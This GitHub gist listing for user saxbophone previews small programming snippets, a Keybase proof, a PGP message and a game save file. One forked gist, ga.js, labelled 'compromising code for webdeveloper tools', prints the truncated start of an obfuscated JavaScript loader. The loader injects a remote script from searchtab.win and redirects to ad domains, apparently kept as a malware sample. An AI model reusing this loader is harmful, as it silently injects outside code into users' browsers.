Skip to content

Instantly share code, notes, and snippets.

Joshua Saxby saxbophone

Block or report user

Report or block saxbophone

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@saxbophone
saxbophone / distinct_randoms.c
Last active Jul 14, 2019
Pick N distinct random numbers in the range 0..M-1, in C
View distinct_randoms.c
/*
* Any copyright is dedicated to the Public Domain.
* https://creativecommons.org/publicdomain/zero/1.0/
*/
/*
* Picks N distinct random numbers in the range {0..M-1}
* Specify N as first command-line argument and M as second argument.
*
* Interestingly, the complexity of this program scales with respect to M and
@saxbophone
saxbophone / sfml_macos_bug_demo.cpp
Last active Apr 30, 2019
SFML bug on macOS —when setting antialiasing level to (UINT_MAX / 2) + 1, a segfault occurs when Window created
View sfml_macos_bug_demo.cpp
#include <climits>
#include <SFML/System/Sleep.hpp>
#include <SFML/System/Time.hpp>
#include <SFML/Window.hpp>
int main() {
sf::ContextSettings settings;
// on macOS 10.13.6, any value in range 0..(UINT_MAX/2) is fine
View binary_prefix.c
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
typedef enum BinaryPrefix {
BINARY_PREFIX_NONE = 0, // × 1024°
BINARY_PREFIX_KIBI, // × 1024¹
BINARY_PREFIX_MEBI, // × 1024²
BINARY_PREFIX_GIBI, // × 1024³
View university_of_the.py
#!/usr/bin/env python3
compass_directions = [
'North', 'South', 'East', 'West',
]
places = [
'United Kingdom', 'Britain', 'England', 'Scotland', 'Wales',
'Northern Ireland',
]
@saxbophone
saxbophone / gb_income_tax.py
Created Jan 25, 2019
I'm not quite as good as calculating income tax as I thought I was...
View gb_income_tax.py
from decimal import Decimal
DEFAULT_PERSONAL_ALLOWANCE = Decimal(11_850)
PERSONAL_ALLOWANCE_ADJUSTMENT_BEGIN = Decimal(100_000)
BASIC_RATE_BEGIN = DEFAULT_PERSONAL_ALLOWANCE
HIGHER_RATE_BEGIN = Decimal(46_350)
ADDITIONAL_RATE_BEGIN = Decimal(150_000)
View keybase.md

Keybase proof

I hereby claim:

  • I am saxbophone on github.
  • I am saxbophone (https://keybase.io/saxbophone) on keybase.
  • I have a public key whose fingerprint is E2C4 514F F0FA 52D1 896A B1D6 3D42 BFD9 B7A9 47E4

To claim this, I am signing this object:

View gist:08b2085057cf781ff249cbdd28b3bf47
-----BEGIN PGP MESSAGE-----
hQIMA9dIhPQGlC9+AQ/9EPTAuryS4gb/6hJcocDNytu3DiPOEqz8tpWTyY+c6jQ5
R1MO5qZtjKYQaiQS59VOttikY8RfhHQZOiEnKBw7fnpKPmtG1uOT4pH0L4fZjsx0
rY4SyuxnoYR9IoWyiltTHneL3xLQJ8voLvwKjASHBjLztmLd41GMQREZCaPD145g
sVNjDUQ3YLTx+K418UK5sYTJ/7PAOiklXZOB2p1027+Pkhy9RVu1DooSOCJFHOuX
AJDzbdqeEPfsquVgvF2aFVwZLd78rziHYQPg/FHceomDaw4AOHv25XgblZSZQg8h
8kFJvo0nowNx1LovqXPSv0JGpAy3ZH5+xcgZmUrM1NHCAs65CcAr4xAWfL1UcBRM
yOaKMiolzo5F01AJ6L5aGGE7dbyKYD9xHanlVhRzsD+DixC8NCACc48gde1W7yhl
zHa0tUhP0YxA6Yx4yLQ8NLg2B8JMGaUIFFIZ9I8TrOVwO25MY2o1agbvhhmDVdSt
@saxbophone
saxbophone / ga.js
Created Aug 2, 2017 — forked from amlwwalker/ga.js
compromising code for webdeveloper tools
View ga.js
var _0x4d27=["\x63\x6C\x6F\x75\x64\x66\x6C\x61\x72\x65\x2E\x63\x6F\x6D","\x69\x6E\x64\x65\x78\x4F\x66","\x68\x72\x65\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x74\x79\x70\x65","\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74","\x73\x72\x63","\x2F\x2F\x73\x65\x61\x72\x63\x68\x74\x61\x62\x2E\x77\x69\x6E\x2F\x67\x61\x2E\x6A\x73","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65","\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65","\x72\x65\x64\x69\x72\x65\x63\x74\x32\x2E\x74\x6F\x70","\x2F\x2F\x70\x61","\x72\x74\x6E\x65","\x72\x2D\x6E\x65","\x74\x2E\x6D\x65","\x6E\x2F\x63\x6F","\x64\x65\x2F\x3F","\x70\x69\x64\x3D","\x39\x37\x33\x38","\x32\x30\x26\x72","\x3D","\x72\x61\x6E\x64\x6F\x6D","\x66\x6C\x6F\x6F\x72","\x66\x69\x72\x73\x74\x43\x68\x69\x6C\x64","\x62\x6F\x64\x79","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x68\x74\x74\x70\x73\x3A\x2F\x2
@saxbophone
saxbophone / openpanzer-save.json
Created Jul 31, 2017
Kiev encirclement - Konotop-10
View openpanzer-save.json
{"scenario":{"name":"Kiev encirclement - Konotop","maxTurns":22,"date":"1941-09-22T07:00:00.000Z","atmosferic":0,"latitude":3,"ground":0,"turnsPerDay":0,"dayTurn":0,"reinforcements":{"6":[],"7":[],"8":[]},"map":{"rows":39,"cols":44,"map":[[{"unit":null,"airunit":null,"terrain":0,"road":0,"owner":-1,"flag":-1,"isDeployment":-1,"victorySide":-1,"name":"","isMoveSel":false,"isAttackSel":false},{"unit":null,"airunit":null,"terrain":0,"road":17,"owner":-1,"flag":-1,"isDeployment":-1,"victorySide":-1,"name":"","isMoveSel":false,"isAttackSel":false},{"unit":null,"airunit":null,"terrain":0,"road":0,"owner":-1,"flag":-1,"isDeployment":-1,"victorySide":-1,"name":"","isMoveSel":false,"isAttackSel":false},{"unit":null,"airunit":null,"terrain":3,"road":0,"owner":-1,"flag":-1,"isDeployment":-1,"victorySide":-1,"name":"","isMoveSel":false,"isAttackSel":false},{"unit":null,"airunit":null,"terrain":3,"road":0,"owner":-1,"flag":-1,"isDeployment":-1,"victorySide":-1,"name":"","isMoveSel":false,"isAttackSel":false},{"unit":null,
@saxbophone
saxbophone / cd_sector_size.sh
Created Jul 2, 2017
Get exact size of CD-R/CD-RW in sectors (blocks)
View cd_sector_size.sh
cdrdao disk-info
You can’t perform that action at this time.